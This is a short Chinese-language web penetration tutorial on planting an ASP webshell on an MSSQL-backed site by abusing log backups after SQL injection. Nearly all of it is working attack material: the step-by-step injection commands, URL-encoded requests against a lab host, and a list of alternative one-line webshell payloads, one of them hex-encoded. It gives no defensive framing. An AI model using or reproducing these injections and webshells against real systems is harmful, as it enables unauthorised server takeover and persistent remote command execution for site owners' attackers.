Web渗透之mssql LOG备份getshell
log备份的总结
当SQL注入是得到DB权限时候,接下来可以做的工作很多,象找管理员密码,后台管理这些都可以帮助你拿到WEBSHELL,但是这篇文章讲的是log备份,LOG备份出来的小马的体积小,而且备份的成功的可性很大,所以是我作为对DB权限的第一种试探方法.
但是在LOG备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题
LOG备份产生的文件更小
log备份
LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是LOG备份
过程:
;alter database 数据库名称 set RECOVERY FULL -- ;create table cmd (a image) -- ;backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack.asp' with init -- ;insert into cmd (a) values ('<%%25Execute(request("go"))% %25>')-- ;backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack2.asp' --
测试例子:
测试中数据库名为asp_test,网站根目录为"E:\wwwroot\asp_sqli\"
http://192.168.5.21:81/index.asp?id=1;alter%20database%20asp_test%20set%20RECOVERY%20FULL%20--
http://192.168.5.21:81/index.asp?id=1;create%20table%20cmd%20(a%20image)%20--
http://192.168.5.21:81/index.asp?id=1;backup%20log%20asp_test%20to%20disk%20=%20%27E:\wwwroot\asp_sqli\hack.asp%27%20with%20init%20--
http://192.168.5.21:81/index.asp?id=1;insert%20into%20cmd%20(a)%20values%20(%27%3C%%25Execute(request(%22go%22))%%25%3E%27)%20--
http://192.168.5.21:81/index.asp?id=1;backup%20log%20asp_test%20to%20disk%20=%20%27E:\wwwroot\asp_sqli\hack2.asp%27%20--
执行好了以后可以看到备份出来的webshell只有83kb
hack.asp
保存数据库
hack2.asp
是木马
容易出错的地方
分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们可以将
values中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式
都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这
里就不多说了,可以提换的内容有:
a).<%%25Execute(request("go"))%%25> b).<%Execute(request("go"))%> c).%><%execute request("go")%><% d).<script language=VBScript runat=server>execute request("sb")</Script> e).<%25Execute(request("l"))%25>
f).0x3C25657865637574652872657175657374282261222929253E
------------------------------------------------------------------------------------